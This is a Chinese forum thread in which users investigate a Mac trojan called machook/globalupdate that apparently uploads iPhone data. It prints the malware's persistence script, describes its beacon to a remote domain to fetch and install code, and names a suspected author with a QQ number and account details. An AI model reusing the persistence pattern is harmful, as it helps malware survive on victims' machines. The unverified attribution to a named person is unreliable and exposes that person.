苹果开发账号: li tjcy
小马甲QQ： 2045847795

再次更新 确认这个木马的始作俑者是lifei，在App Store上架过应用。

http://ios-apps.findthebest.com/l/1883481 这里的support url是comeinbaby.com

这是他的应用，开发者名称 LEI LI

开发过二维码工具箱，漫画吧。

10# 会在/usr/local/ 生成一个 macbook 文件夹， 里面的一个watch.sh 内容为:

改为 会在/usr/local/ 生成一个 machook 文件夹， 里面的一个watch.sh 内容为:
------------分割线------------
逆向了一下，发现了以下比较有用的字符串:
/opt/code/app/myProject/globalupdate/globalupdate/main.m/Users/lifei/Library/Developer/Xcode/DerivedData/myProject-bempnuunysxoafcdeokuvvfigmze/Build/Intermediates/globalupdate.build/Release/globalupdate.build/Objects-normal/x86_64/main.o

作者的MacBook用户名是lifei，

使用的域名comeinbaby.com 是在 mingguantianxia.cn注册的。

可以从http://www.mingguantianxia.cn/dns/ 这个控制面板进行登录。好熟悉的报错页面 - -||| 目前尚不知道这个是什么虚拟主机管理系统..

喜欢Evernote的剪藏功能 + 全平台+ OCI搜索功能

Mac下 Charles 挺好用的

清除了MacBook上所有相关的脚本之后，iPhone停止上传我的信息了，尚不知道这个是什么原理..
还没找到宿主文件。

会在/usr/local/ 生成一个 macbook 文件夹， 里面的一个watch.sh 内容为:

#!/bin/sh

jobid=`ps -ef |grep machook |grep -v "grep" |wc -l`
if [ $jobid -eq 0 ];then
/usr/local/machook/machook &
fi

updateid=`ps -ef |grep globalupdate |grep -v "grep" |wc -l`
if [ $jobid -eq 0 ];then
/usr/bin/globalupdate &
fi

执行globalupdate时 会带上电脑的序列号去请求 http://www.comeinbaby.com/mac/getsoft.php

获得更新并安装。

@qiuai >_<

相关问题的帖子:

http://www.quchao.com/entry/machook-killer/
http://bbs.maiyadi.com/thread-950306-2-1.html
http://weicdsq.lofter.com/post/20a5c5_13cc45e

貌似很有意思 没人一起查下去吗？

http://bbs.maiyadi.com/thread-950306-1-1.html 这里9楼说的 可能是Mac的问题。

难不成是我的Mac安装了某些破解软件导致的?

@qiuai 我也不敢运行。。。

@joyqi 我用过同步推 但是早就卸载了 用同步推安装的软件也早就卸载了... 怎么破

www.comeinbaby.com 这个域名设置了whois保护！！！

- -我去过他们公司|||

全新卡罗拉 or 致炫

已收下 谢谢理捷同学

77

- - 联通的10M 宽带一年才600....